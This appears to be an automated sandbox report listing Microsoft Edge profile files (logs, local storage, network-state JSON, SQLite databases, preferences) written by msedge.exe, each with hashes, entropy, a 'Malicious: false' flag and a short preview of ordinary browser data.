SSDEEP:	12:v+vVaYeb8rcHEZrELFUt8MW/+LV5OaYeb8rcHEZrEZSJ:UVaYeb8nZrExg8MLOaYeb8nZrEZe
MD5:	F662C239F5796AD8C1D4ABDCF8EF2038
SHA1:	4A7FF1D47C9AE510CDA6374052119788AF979584
SHA-256:	2FAA9198B7E1EE60E40A79A26CA143A9C687952AE356BF67BE722FAF96F7EF27
SHA-512:	F633DA328C73FBE07AAE2F419F5CA7DC37942D27D4E076F529DE2DEBB3E2BB8BC5AA3BB43B02FAB603BA08037E2025FAD84893928447A953C3F3E2E3E8309395
Malicious:	false
Preview:	2024/11/27-05:14:37.546 1dec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/27-05:14:37.547 1dec Recovering log #3.2024/11/27-05:14:37.547 1dec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.253207440925115
Encrypted:	false
SSDEEP:	12:v+vVaYeb8rcHEZrELFUt8MW/+LV5OaYeb8rcHEZrEZSJ:UVaYeb8nZrExg8MLOaYeb8nZrEZe
MD5:	F662C239F5796AD8C1D4ABDCF8EF2038
SHA1:	4A7FF1D47C9AE510CDA6374052119788AF979584
SHA-256:	2FAA9198B7E1EE60E40A79A26CA143A9C687952AE356BF67BE722FAF96F7EF27
SHA-512:	F633DA328C73FBE07AAE2F419F5CA7DC37942D27D4E076F529DE2DEBB3E2BB8BC5AA3BB43B02FAB603BA08037E2025FAD84893928447A953C3F3E2E3E8309395
Malicious:	false
Preview:	2024/11/27-05:14:37.546 1dec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/27-05:14:37.547 1dec Recovering log #3.2024/11/27-05:14:37.547 1dec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1475
Entropy (8bit):	5.67110290544247
Encrypted:	false
SSDEEP:	24:XZWczTaYvXyExHEXZxW2sFV0374qMyBWAQUlHaVlKTVBkTN5zgFHHmi28/V:XZzaYvCEmXZI2iV0374JyB0bb/+HH32M
MD5:	AABEA5B8210177B576ECB0B36D7A5694
SHA1:	F6CC78EB5201CF55FFEE4699F744BA16E8F7591C
SHA-256:	7870175FAC2F8DB3931646B980D74CBCCB68B08EE30B524BC2931CBF8EB394B1
SHA-512:	35EF8C265281D560EF4B1B85ECD4DC386F33187748F89849CD29DBE0E2BED59D151113F696446C3511B56DC01EFF8E579F6953CB1A28F3BAB6FC5F4CE543A9F2
Malicious:	false
Preview:	q.:S.................VERSION.1..META:https://ntp.msn.com.............!_https://ntp.msn.com..LastKnownPV..1732702488429.._https://ntp.msn.com..MUID!.0DAD223ED34268AD13B3377AD2436971.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732702488502,"schedule":[-1,-1,29,25,-1,24,-1],"scheduleFixed":[-1,-1,29,25,-1,24,-1],"simpleSchedule":[19,12,40,23,21,17,14]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732702488388.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241122.365"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Wed Nov 27 2024 05:14:47 GMT-0500 (Eastern Standard Time).!_https://ntp.msn.com..storageTest....$................META:https://ntp.msn.com..............._https://ntp.msn.com

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	337
Entropy (8bit):	5.214705618654078
Encrypted:	false
SSDEEP:	6:HCgn9+q2PN723oH+Tcwt8a2jMGIFUt8YCg+JZmw+YCgThVkwON723oH+Tcwt8a23:1+vVaYeb8EFUt8zJ/+ohV5OaYeb8bJ
MD5:	3BDD6C857DD946CCB9FEFE6611654D27
SHA1:	BCFE3A957A4C84D0ED875AB831FD7E6FE0A96371
SHA-256:	60E5217B477FD13487343E55C66A671BC09F95F953E4CF2050839C25672C52AD
SHA-512:	C2305EADC54C62485F366A1780BF4BFE6641F6E27B71B0CC72E1BA43B91694538119AFEE17E94289940C5BBD39F78D30091076C6DE3073637D8EE23A4237EA8A
Malicious:	false
Preview:	2024/11/27-05:14:33.854 59c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/27-05:14:33.859 59c Recovering log #3.2024/11/27-05:14:33.865 59c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	337
Entropy (8bit):	5.214705618654078
Encrypted:	false
SSDEEP:	6:HCgn9+q2PN723oH+Tcwt8a2jMGIFUt8YCg+JZmw+YCgThVkwON723oH+Tcwt8a23:1+vVaYeb8EFUt8zJ/+ohV5OaYeb8bJ
MD5:	3BDD6C857DD946CCB9FEFE6611654D27
SHA1:	BCFE3A957A4C84D0ED875AB831FD7E6FE0A96371
SHA-256:	60E5217B477FD13487343E55C66A671BC09F95F953E4CF2050839C25672C52AD
SHA-512:	C2305EADC54C62485F366A1780BF4BFE6641F6E27B71B0CC72E1BA43B91694538119AFEE17E94289940C5BBD39F78D30091076C6DE3073637D8EE23A4237EA8A
Malicious:	false
Preview:	2024/11/27-05:14:33.854 59c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/27-05:14:33.859 59c Recovering log #3.2024/11/27-05:14:33.865 59c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\4228765e-e3ee-42e3-9a73-df2336b9fbc0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\76e21691-2031-4e4e-b8b7-2ef037ae2426.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7742390142100204
Encrypted:	false
SSDEEP:	192:tTtIzDNc1XiDRroQZyp7xc8J/MqXcf0L/ZJVb:Vt+ceRkQZyp7VMqXI0LhJVb
MD5:	7C9BF5249D667743887557FE7156A8E6
SHA1:	CF13E985774DDE4A01094CED9F764C05248A3743
SHA-256:	AE25EC99CADA534707D5770C3515E58C895A95DFE816BD9DE59B4D29CAE03415
SHA-512:	E3D48B018033EBF99B924A377A78560DDC799C8503228824E0786E9B1C0EC017DFC3C8E974598A2106DCE09FE6F07826A807CA3E17DEA1EE93325139F91936BF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4c8ea.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.3767143197124332
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB5y:JkIEumQv8m1ccnvS6iuI+lGFh5k7aw1a
MD5:	AD9B69A543AC7A473109840AB55785FF
SHA1:	8F7D761CCDD748148C15C73981D10C6878D0516D
SHA-256:	338169BB017B67F30E973FE66EBE1E0CF0FC06F903C554E49A29FF94F9003648
SHA-512:	7CAFDA7C5D3DE9B79DB0A201CEBA675D2CB2003506064670426413435A8041264F6B7E7B5417C57D5C35A3C477625AF15776AA645ACEDF3C21C6BC7E90420195
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3b547.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3cf28.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b8cab8e4-cd94-475e-9857-aa4e75de653d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d75ace9c-1325-45fd-96c4-d7d5b2b8c29d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1484
Entropy (8bit):	5.301861743845822
Encrypted:	false
SSDEEP:	24:YcCp/WwFGJ/I3RdsRbZVMdmRdsk0TzZFRudFGRw6C1E6maPsRdsF1ZC52HbQYhbm:YcCpfgCzsXtskqdfc7akEsFDCgHkYhbm
MD5:	69C8EF412E6ED6C3A3B7E3E25CF2E9F8
SHA1:	DEA9387D056D42BC82E95A91D6908571B885AB57
SHA-256:	BA4E50F6714D4C1D4AEDEBE92171B66BBCF85127C9F8D1B13926E2A681B6D707
SHA-512:	C3F99E471B39A29F22987AC2A87C86397377287E2634F36B490EE7C26289B8E3C16A705A38937FFDF5BB52A13324AE54043F7C368C1AEBDDDCC54512BAF21CB7
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379768077232325","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379768080476785","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczo

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ea225067-a750-437b-9dcf-ab0227fac114.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\f9d5ff24-264b-4d0a-af5e-425a5023a550.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9758
Entropy (8bit):	5.106513739943008
Encrypted:	false
SSDEEP:	192:stWkdpusfwaFvrE9kYxt8vbV+F5eQAyUdPTYJ:stWQusfwCDvbGwQQG
MD5:	F961F95875ACBC081B67C94FD0B3AB83
SHA1:	8733C3D18A16797551CFC4548C7D308692A3D502
SHA-256:	0FF0D0DAF9D99C97DCB9DB02668F6B56D26C1A9AC805DCD2DE085D4FCF96DEA4
SHA-512:	04EB92ABB763C54C60BE4A6A3F6EA200CEBBA158F2D775BF50B53728168A165FCF49ECCC2DBC03219A4C17EE39B5C9E1D6E4741B0AFEA8D8AB8A214738EB3007
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377176074001445","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3f7a0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9758
Entropy (8bit):	5.106513739943008
Encrypted:	false
SSDEEP:	192:stWkdpusfwaFvrE9kYxt8vbV+F5eQAyUdPTYJ:stWQusfwCDvbGwQQG
MD5:	F961F95875ACBC081B67C94FD0B3AB83
SHA1:	8733C3D18A16797551CFC4548C7D308692A3D502
SHA-256:	0FF0D0DAF9D99C97DCB9DB02668F6B56D26C1A9AC805DCD2DE085D4FCF96DEA4
SHA-512:	04EB92ABB763C54C60BE4A6A3F6EA200CEBBA158F2D775BF50B53728168A165FCF49ECCC2DBC03219A4C17EE39B5C9E1D6E4741B0AFEA8D8AB8A214738EB3007
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377176074001445","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF42372.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9758
Entropy (8bit):	5.106513739943008
Encrypted:	false
SSDEEP:	192:stWkdpusfwaFvrE9kYxt8vbV+F5eQAyUdPTYJ:stWQusfwCDvbGwQQG
MD5:	F961F95875ACBC081B67C94FD0B3AB83
SHA1:	8733C3D18A16797551CFC4548C7D308692A3D502
SHA-256:	0FF0D0DAF9D99C97DCB9DB02668F6B56D26C1A9AC805DCD2DE085D4FCF96DEA4
SHA-512:	04EB92ABB763C54C60BE4A6A3F6EA200CEBBA158F2D775BF50B53728168A165FCF49ECCC2DBC03219A4C17EE39B5C9E1D6E4741B0AFEA8D8AB8A214738EB3007
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377176074001445","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1